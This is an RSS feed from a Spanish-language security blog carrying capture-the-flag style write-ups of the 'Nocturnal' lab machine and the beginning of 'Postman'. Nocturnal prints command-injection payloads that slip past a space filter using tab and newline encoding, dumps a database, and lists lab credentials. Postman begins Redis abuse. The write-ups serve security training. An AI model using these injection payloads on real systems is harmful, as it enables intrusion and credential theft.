<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Linux on</title><link>https://synacklabs.github.io/tags/linux/</link><description>Recent content in Linux on</description><generator>Hugo -- gohugo.io</generator><language>es-es</language><lastBuildDate>Sun, 25 Jan 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://synacklabs.github.io/tags/linux/index.xml" rel="self" type="application/rss+xml"/><managingEditor>admin@synacklabs.github.io (SynAckLabs)</managingEditor><webMaster>admin@synacklabs.github.io (SynAckLabs)</webMaster><item><title>Nocturnal (Easy)</title><link>https://synacklabs.github.io/posts/nocturnal/</link><pubDate>Sun, 25 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/nocturnal/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;La máquina comienza con un servicio web que permite la subida de archivos. Mediante fuzzing de usuarios, localizo un archivo perteneciente al usuario &lt;code&gt;amanda&lt;/code&gt; que contiene credenciales. Con ellas accedo a un panel de administración vulnerable a &lt;strong&gt;RCE&lt;/strong&gt; (Remote Code Execution) mediante inyección de caracteres especiales (Newlines y Tabs) para evadir filtros. Exfiltro la base de datos, obtengo hashes y logro acceder por SSH como &lt;code&gt;tobias&lt;/code&gt;. Finalmente, escalo privilegios identificando un servicio interno en el puerto 8080 (Gogs), el cual exploto mediante &lt;strong&gt;CVE-2023-46818&lt;/strong&gt; para obtener ejecución de código como root.&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;La máquina comienza con un servicio web que permite la subida de archivos. Mediante fuzzing de usuarios, localizo un archivo perteneciente al usuario &lt;code&gt;amanda&lt;/code&gt; que contiene credenciales. Con ellas accedo a un panel de administración vulnerable a &lt;strong&gt;RCE&lt;/strong&gt; (Remote Code Execution) mediante inyección de caracteres especiales (Newlines y Tabs) para evadir filtros. Exfiltro la base de datos, obtengo hashes y logro acceder por SSH como &lt;code&gt;tobias&lt;/code&gt;. Finalmente, escalo privilegios identificando un servicio interno en el puerto 8080 (Gogs), el cual exploto mediante &lt;strong&gt;CVE-2023-46818&lt;/strong&gt; para obtener ejecución de código como root.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-809e-a5dd-f209e9c537c8.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="escaneo-y-reconocimiento"&gt;Escaneo y Reconocimiento&lt;/h2&gt;
&lt;p&gt;Inicio con un escaneo de puertos para identificar la superficie de ataque.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; nginx &lt;span style="color:#ae81ff"&gt;1.18&lt;/span&gt;.0 (Ubuntu)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Did not follow redirect to http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//nocturnal.htb/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enumeración-web-puerto-80"&gt;Enumeración Web (Puerto 80)&lt;/h3&gt;
&lt;p&gt;El servidor redirige a &lt;code&gt;nocturnal.htb&lt;/code&gt;, por lo que añado el dominio a mi &lt;code&gt;/etc/hosts&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8072-824a-d26bde2a9f9d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Al acceder, encuentro un panel que permite subir archivos. Observo que los archivos subidos se almacenan en el servidor y la estructura de la URL o el endpoint parece depender del nombre de usuario. Esto sugiere una vulnerabilidad de &lt;strong&gt;IDOR&lt;/strong&gt; (Insecure Direct Object Reference) o enumeración de directorios.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8017-9df6-c471221e0fcf.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Realizo fuzzing sobre el campo de usuario para descubrir directorios de otros usuarios. Encuentro que el usuario &lt;code&gt;amanda&lt;/code&gt; tiene archivos almacenados.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8083-ad4c-fb4a6db88ae4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80ef-a4a1-c8e59c0f075e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Descargo y descomprimo un archivo encontrado en su directorio, lo que revela unas credenciales en texto claro.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;User:&lt;/strong&gt; amanda&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pass:&lt;/strong&gt; &lt;code&gt;arHkG7HAI68X8s1J&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80db-9d88-f2115014c2c9.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="acceso-inicial"&gt;Acceso Inicial&lt;/h2&gt;
&lt;h3 id="panel-de-administración-y-rce"&gt;Panel de Administración y RCE&lt;/h3&gt;
&lt;p&gt;Utilizo las credenciales de Amanda para loguearme en el panel de administración. En el dashboard (&lt;code&gt;dashboard.php&lt;/code&gt;), encuentro un archivo para realizar backups que solicita una contraseña.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80a2-8697-fac09038ef9d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-803f-83b2-e234299eb1de.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En ese campo igual hay un RCE.&lt;/p&gt;
&lt;p&gt;Descubro que hay un filtro de espacios, pero logro evadirlo utilizando tabuladores (&lt;code&gt;%09&lt;/code&gt;) y saltos de línea (&lt;code&gt;%0A&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/nbash/t-c/t&amp;quot;whoami&amp;quot;&lt;/code&gt; (interpretado como &lt;code&gt;\n bash \t -c \t &amp;quot;whoami&amp;quot;&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8095-9281-da298f64b4ea.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="exfiltración-de-base-de-datos"&gt;Exfiltración de Base de Datos&lt;/h3&gt;
&lt;p&gt;Aprovecho el RCE para volcar el contenido de la base de datos SQLite del servidor.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8022-97c8-e19b360e6f85.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Payload utilizado:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;%0Abash%09-c%09&amp;quot;sqlite3%09/var/www/nocturnal_database/nocturnal_database.db%09.dump&amp;quot;%0A&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;La respuesta me devuelve los registros de la tabla &lt;code&gt;users&lt;/code&gt; con hashes de contraseña&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INSERT INTO users VALUES(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;admin&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;d725aeba143f575736b07e045d8ceebb&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INSERT INTO users VALUES(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;amanda&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;df8b20aa0c935023f99ea58358fb63c4&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INSERT INTO users VALUES(&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;tobias&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;55c82b1ccd55ab219b3b109b07d5061d&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80f8-8e7a-efae1c3cc21d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Logro obtener la contraseña en texto claro para el usuario &lt;code&gt;tobias&lt;/code&gt;: &lt;code&gt;slowmotionapocalypse&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="movimiento-lateral-ssh"&gt;Movimiento Lateral (SSH)&lt;/h2&gt;
&lt;p&gt;Con las credenciales &lt;code&gt;tobias:slowmotionapocalypse&lt;/code&gt;, me conecto exitosamente mediante SSH.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80b2-86ad-df17d966e506.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Realizo una enumeración básica y confirmo que Tobias no tiene permisos de &lt;code&gt;sudo&lt;/code&gt;. Sin embargo, al revisar los puertos internos abiertos (&lt;code&gt;netstat&lt;/code&gt; o &lt;code&gt;ss&lt;/code&gt;), detecto un servicio corriendo en el puerto &lt;strong&gt;8080&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8055-a16e-e2a07ad14565.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="escalada-de-privilegios"&gt;Escalada de Privilegios&lt;/h2&gt;
&lt;h3 id="tunneling-y-enumeración-interna"&gt;Tunneling y Enumeración Interna&lt;/h3&gt;
&lt;p&gt;Para acceder al servicio interno, realizo un Local Port Forwarding (túnel SSH) hacia mi máquina atacante.&lt;/p&gt;
&lt;p&gt;Al acceder a &lt;code&gt;localhost:8080&lt;/code&gt;, encuentro un servicio web (aparentemente Gogs, basado en el exploit posterior). Pruebo reutilización de credenciales y logro acceder con &lt;code&gt;admin:slowmotionapocalypse&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80e7-b76e-fdd44077b2e0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8060-8a77-f7cde30214b6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Analizamos la versión.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-803a-b11a-d1faf5dfd6b9.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="explotación-de-cve-2023-46818"&gt;Explotación de CVE-2023-46818&lt;/h3&gt;
&lt;p&gt;Identifico que la versión del servicio es vulnerable a &lt;strong&gt;CVE-2023-46818&lt;/strong&gt;. Esta vulnerabilidad permite escalar privilegios o lograr ejecución de código a través de una inyección de argumentos en el manejo de hooks de git o configuraciones internas.&lt;/p&gt;
&lt;p&gt;Utilizo un exploit público en Python para atacar la instancia:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/bipbopbup/CVE-2023-46818-python-exploit"&gt;link_preview&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80dd-b56a-ccf462b9faff.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;A pesar de la inestabilidad del servidor, el exploit logra ejecutarse correctamente y me otorga una shell como &lt;strong&gt;root&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80cb-8c74-fe91b6468155.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Lo tenemos!&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80ae-aa8c-e24eb88b8fcb.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Postman (Easy)</title><link>https://synacklabs.github.io/posts/postman/</link><pubDate>Fri, 23 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/postman/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina Linux presenta varios servicios expuestos, destacando Redis y Webmin. El punto de entrada se logra abusando de una mala configuración en &lt;strong&gt;Redis&lt;/strong&gt; que permite escribir una clave SSH pública en el servidor, obteniendo acceso como el usuario &lt;code&gt;redis&lt;/code&gt;. Tras enumerar el sistema, encuentro una clave SSH encriptada perteneciente al usuario &lt;code&gt;Matt&lt;/code&gt;. Craqueo la contraseña de esta clave pero, debido a restricciones de SSH, debo usar &lt;code&gt;su&lt;/code&gt; para pivotar lateralmente. Finalmente, aprovecho las credenciales de Matt para acceder a &lt;strong&gt;Webmin&lt;/strong&gt; y exploto una vulnerabilidad de Ejecución Remota de Comandos (RCE) autenticada para escalar a &lt;strong&gt;root&lt;/strong&gt;&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina Linux presenta varios servicios expuestos, destacando Redis y Webmin. El punto de entrada se logra abusando de una mala configuración en &lt;strong&gt;Redis&lt;/strong&gt; que permite escribir una clave SSH pública en el servidor, obteniendo acceso como el usuario &lt;code&gt;redis&lt;/code&gt;. Tras enumerar el sistema, encuentro una clave SSH encriptada perteneciente al usuario &lt;code&gt;Matt&lt;/code&gt;. Craqueo la contraseña de esta clave pero, debido a restricciones de SSH, debo usar &lt;code&gt;su&lt;/code&gt; para pivotar lateralmente. Finalmente, aprovecho las credenciales de Matt para acceder a &lt;strong&gt;Webmin&lt;/strong&gt; y exploto una vulnerabilidad de Ejecución Remota de Comandos (RCE) autenticada para escalar a &lt;strong&gt;root&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-802c-a8e9-fb71c23a9deb.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="enumeración"&gt;Enumeración&lt;/h2&gt;
&lt;p&gt;Inicio con un escaneo de puertos para identificar la superficie de ataque.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;46&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;83&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4f&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;61&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c0&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;1c&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;74&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;cb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;d1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;68&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;77&lt;/span&gt; (RSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDem1MnCQG+yciWyLak5YeSzxh4HxjCgxKVfNc1LN+vE1OecEx+cu0bTD5xdQJmyKEkpZ+AVjhQo/esF09a94eMNKcp+bhK1g3wqzLyr6kwE0wTncuKD2bA9LCKOcM6W5GpHKUywB5A/TMPJ7UXeygHseFUZEa+yAYlhFKTt6QTmkLs64sqCna+D/cvtKaB4O9C+DNv5/W66caIaS/B/lPeqLiRoX1ad/GMacLFzqCwgaYeZ9YBnwIstsDcvK9+kCaUE7g2vdQ7JtnX0+kVlIXRi0WXta+BhWuGFWtOV0NYM9IDRkGjSXA4qOyUOBklwvienPt1x2jBrjV8v3p78Tzz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;8d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;27&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;d2&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;df&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;15&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;1a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;31&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;05&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;fb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ff&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f0&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;62&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;89&lt;/span&gt; (ECDSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIRgCn2sRihplwq7a2XuFsHzC9hW+qA/QsZif9QKAEBiUK6jv/B+UxDiPJiQp3KZ3tX6Arff/FC0NXK27c3EppI=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; ca&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;7c&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;82&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;aa&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;5a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;d3&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;72&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ca&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;8b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;8a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;3a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;41&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a0&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;45&lt;/span&gt; (ED25519)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3FKsLVdJ5BN8bLpf80Gw89+4wUslxhI3wYfnS+53Xd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; Apache httpd &lt;span style="color:#ae81ff"&gt;2.4&lt;/span&gt;.29 ((Ubuntu))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-favicon: Unknown favicon MD5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; E234E3E8040EFB1ACD7028330A956EBF
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; GET POST OPTIONS HEAD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Apache/&lt;span style="color:#ae81ff"&gt;2.4&lt;/span&gt;.29 (Ubuntu)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: The Cyber Geek&lt;span style="color:#e6db74"&gt;&amp;#39;s Personal Website
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;6379/tcp open redis syn-ack ttl 63 Redis key-value store 4.0.9
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;10000/tcp open http syn-ack ttl 63 MiniServ 1.910 (Webmin httpd)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;| http-methods:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;|_ Supported Methods: GET HEAD POST OPTIONS
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;|_http-favicon: Unknown favicon MD5: 066AF1F6A59FCB67495B545A6B81F371
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;|_http-title: Site doesn&amp;#39;&lt;/span&gt;t have a title (text/html; Charset=iso-&lt;span style="color:#ae81ff"&gt;8859&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;).
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Linux; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:linux&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enumeración-web-puertos-80-y-10000"&gt;&lt;strong&gt;Enumeración Web (Puertos 80 y 10000)&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Puerto 80:&lt;/strong&gt; Muestra &amp;ldquo;The Cyber Geek&amp;rsquo;s Personal Website&amp;rdquo;, una página en construcción que no revela información útil tras el fuzzing&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-802f-a9bf-d8fa984dbcb4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Puerto 10000 (Webmin):&lt;/strong&gt; Encuentro un panel de administración Webmin versión 1.910. Existe un exploit conocido para esta versión, pero requiere autenticación previa, por lo que lo reservo para más adelante.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-8067-b086-f4d5271de745.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/KentVolt/Webmin-1.910-Exploit/blob/master/Webmin%201.910%20-%20Remote%20Code%20Execution%20using%20BurpSuite"&gt;https://github.com/KentVolt/Webmin-1.910-Exploit/blob/master/Webmin 1.910 - Remote Code Execution using BurpSuite&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="acceso-inicial-redis"&gt;Acceso Inicial: Redis&lt;/h2&gt;
&lt;h3 id="enumeración-de-redis-puerto-6379"&gt;Enumeración de Redis (Puerto 6379)&lt;/h3&gt;
&lt;p&gt;Al conectarme al servicio Redis, descubro que no requiere autenticación (&lt;code&gt;config get requirepass&lt;/code&gt; está vacío). Esto me permite ejecutar comandos de configuración críticos.&lt;/p&gt;
&lt;p&gt;El servidor corre con permisos que le permiten escribir en disco. Verifico la configuración del directorio de trabajo y confirmo que puedo cambiarlo:&lt;/p&gt;
